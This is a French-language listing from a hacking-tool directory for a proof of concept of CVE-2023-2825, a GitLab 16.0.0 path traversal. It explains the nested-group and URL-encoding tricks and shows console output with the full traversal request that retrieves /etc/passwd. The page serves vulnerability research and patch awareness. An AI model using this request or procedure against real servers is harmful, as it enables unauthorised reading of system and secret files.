Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-2825 — GitLab CVE-2023-2825 PoC. This PoC leverages a path traversal vulnerability to retrieve the /etc/passwd file from a system running GitLab 16.0.0. | Kitploit
Outils/GitHubGitHub/occamsec/cve-2023-2825
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingRed Teaming
GitHuboccamsec/cve-2023-2825

CVE-2023-2825

GitLab CVE-2023-2825 PoC. This PoC leverages a path traversal vulnerability to retrieve the /etc/passwd file from a system running GitLab 16.0.0.

Voir le dépôt
14031il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Site web

CVE-2023-2825 - GitLab CE/EE 16.0.0 Lecture de fichier arbitraire via Path Traversal

Le 23 mai 2023, GitLab a publié la version 16.0.1 qui corrige une vulnérabilité critique, CVE-2023-2825, affectant les éditions Communauté (CE) et Entreprise (EE) version 16.0.0. La vulnérabilité permet à des utilisateurs non authentifiés de lire des fichiers arbitraires via un bug de path traversal. Elle a été découverte par pwnie sur HackerOne dans le cadre du programme de bug bounty.

Au moment de la rédaction, aucune preuve de concept publique n'était disponible.

Avis de GitLab

Un utilisateur malveillant non authentifié peut utiliser une vulnérabilité de path traversal pour lire des fichiers arbitraires sur le serveur lorsqu'une pièce jointe existe dans un projet public imbriqué dans au moins cinq groupes. Il s'agit d'un problème de gravité critique (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, 10.0).

Sous-groupes

Cette vulnérabilité a une exigence intéressante : le projet doit être imbriqué dans au moins 5 groupes. Lors de nos tests, nous avons constaté une corrélation directe entre le nombre de groupes et les répertoires que vous pouvez traverser. La règle semble être N + 1, ce qui signifie que si vous souhaitez traverser 10 répertoires, vous devez avoir 11 groupes.

Sur une installation GitLab standard, les pièces jointes sont téléchargées vers /var/opt/gitlab/gitlab-rails/uploads/@hashed/<a>/<b>/<secret>/<secret>/<file>. Donc, si vous voulez atteindre la racine du système de fichiers, vous devez remonter de 10 répertoires et donc vous avez besoin de 11 groupes.

Téléchargement de fichier et Path Traversal

Lorsque vous téléchargez un fichier en tant que pièce jointe sur un ticket GitLab, une requête est envoyée à POST - /:repo/upload. Cela renvoie une réponse JSON avec l'URL du fichier, vous permettant d'accéder au fichier.

L'URL du fichier est composée de /:repo/uploads/:id/:file où :file est le nom du fichier lui-même. Remplacer :file par n'importe quel chemin de fichier fera que GitLab renverra le fichier demandé. GitLab ne parvient pas à assainir ce chemin de fichier, ce qui conduit à un path traversal.

Pour exploiter avec succès cette vulnérabilité, vous devez encoder en URL le / dans le chemin du fichier. GitLab lira cela comme une valeur et le décodera en interne. Ne pas l'encoder amènera GitLab à interpréter le / comme faisant partie de la route.

Lors de nos tests, encoder uniquement le / était suffisant pour contourner les erreurs de chemin Nginx.

Authentification

Les utilisateurs non authentifiés ne peuvent exploiter cette vulnérabilité que sur les dépôts publics répondant aux exigences de groupes imbriqués. L'authentification est nécessaire pour accéder au dépôt lui-même.

Preuve de concept

Nous avons développé la preuve de concept en Python. Elle crée les 11 groupes, crée un dépôt public, télécharge un fichier, puis exploite la vulnérabilité pour obtenir le fichier /etc/passwd.

Sortie

root@kitploit:~
$ python3 poc.py
[*] Attempting to login...
[*] Login successful as user 'root'
[*] Creating 11 groups with prefix UJB
[*] Created group 'UJB-1'
[*] Created group 'UJB-2'
[*] Created group 'UJB-3'
[*] Created group 'UJB-4'
[*] Created group 'UJB-5'
[*] Created group 'UJB-6'
[*] Created group 'UJB-7'
[*] Created group 'UJB-8'
[*] Created group 'UJB-9'
[*] Created group 'UJB-10'
[*] Created group 'UJB-11'
[*] Created public repo 'UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825'
[*] Uploaded file '/uploads/74b16af4b9048e13c4311484bbfd3b76/file'
[*] Executing exploit, fetching file '/etc/passwd': GET - /UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825/uploads/74b16af4b9048e13c4311484bbfd3b76//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh

Actions recommandées

GitLab recommande de mettre à jour toutes les versions concernées par ce problème dès que possible.

Références

https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/

https://occamsec.com/exploit-for-cve-2023-2825/

Télécharger l’outil